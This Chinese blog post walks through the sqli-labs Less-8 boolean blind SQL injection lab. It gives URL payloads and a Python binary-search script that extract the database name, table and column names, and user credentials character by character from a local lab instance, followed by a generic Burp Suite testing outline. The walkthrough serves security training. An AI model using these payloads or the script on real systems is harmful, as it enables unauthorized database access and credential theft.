SQL注入漏洞解析-less-8(布尔盲注)

我们来看一下第八关

当我们进行尝试时,他只有You are in...........或者没有显示。

他只有对和错显示,那我们只能用对或者错误来猜他这个数据库

?id=1%27%20and%20ascii(substr(database(),1,1))>114--+

?id=1%27%20and%20ascii(substr(database(),1,1))>115--+

我用ascii码https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Posticon-default.png?t=N7T8https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Post来猜,用substr来截取他的第一个字段,如果我猜对了,他就正常显示,如果我猜错了,他就没有显示,就像上边的,当我猜到第114个时显示正常,当为115时没有显示,说明我就猜出来他的第一个字段的ASCII是115,然后在对照查询ASCII表就能找出来以此类推,就能猜出来,但是这样效率太低,所以写一个脚本来执行:

import requests

def inject_database(url):
    name=""
    for i in range(1,20):
        low =32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url,params=params)
            if 'You are in...........' in r.text:
                 low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name += chr(mid)
        print(name)
if __name__=="__main__":
    url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php'
    inject_database(url)

最后注入出了数据库名称,后边的就是表和列的查询,和之前的都一样,只不过这里是要用ASCII码来猜而已,就是有点慢。

第二种就是手动测试:

行爆库()

?id=1' and (length(database())) = 8 --+

爆库(security)

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

 首先判断表的长度

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))  = 6 --+ (此时字段长度为6就是6个字符)此时是第一个表

我们要判断第四个表的

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))  = 5 --+  //字段长度为5(users)

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))) = 117--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),2,1))) = 115--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),3,1))) = 101--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),4,1))) = 114--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),5,1))) = 115--+

爆字段

?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=117 --+ 爆的i
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1) ,1,1)))  = 112 --+  爆的p

爆数据

username

?id=1' and (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select username from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select username from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select username from users limit 0,1),4,1))) = 112 --+

password

?id=1' and (ascii(substr((select password from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select password from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select password from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select password from users limit 0,1),4,1))) = 112 --+

就这样一个一个爆,出来之后在对照ASCII码表就能查出数据

  • 28
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
当使用Burp Suite进行SQL注入漏洞测试时,布尔盲注是一种常用的技术之一。布尔盲注是一种盲注攻击技术,它通过在SQL查询中使用布尔逻辑来确定数据库中的信息。以下是一些步骤来测试布尔盲注漏洞: 1. 配置Burp Suite:首先,确保已正确配置Burp Suite以拦截和修改HTTP请求和响应。您可以在Burp Suite的Proxy选项卡下设置代理,并根据需要配置浏览器或应用程序以使用该代理。 2. 找到注入点:使用Burp Suite的Spider或Repeater工具来找到潜在的注入点。这可以是URL参数、表单字段或Cookie值等。 3. 构造注入语句:使用布尔盲注技术,构造适当的注入语句来测试漏洞。例如,您可以尝试通过在WHERE子句中使用布尔逻辑来判断条件是否为真或假来确定数据库中的信息。 4. 检测响应差异:发送经过注入处理的请求,并观察响应是否有所不同。如果响应正常,可能意味着注入失败;如果响应出现错误或有其他差异,可能意味着注入成功。 5. 使用布尔逻辑验证条件:根据不同的响应,使用布尔逻辑来验证条件是否为真或假。例如,您可以通过在注入语句中使用AND或OR运算符来检查条件。 6. 执行进一步的测试:根据验证的结果,您可以进一步探测和利用漏洞。使用Burp Suite的其他工具和插件来自动化和加快测试过程。 请注意,在进行任何安全测试之前,确保您已获得适当的授权,并仅在合法范围内进行测试。此外,始终遵循道德黑客和安全测试的最佳实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

duoba_an

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值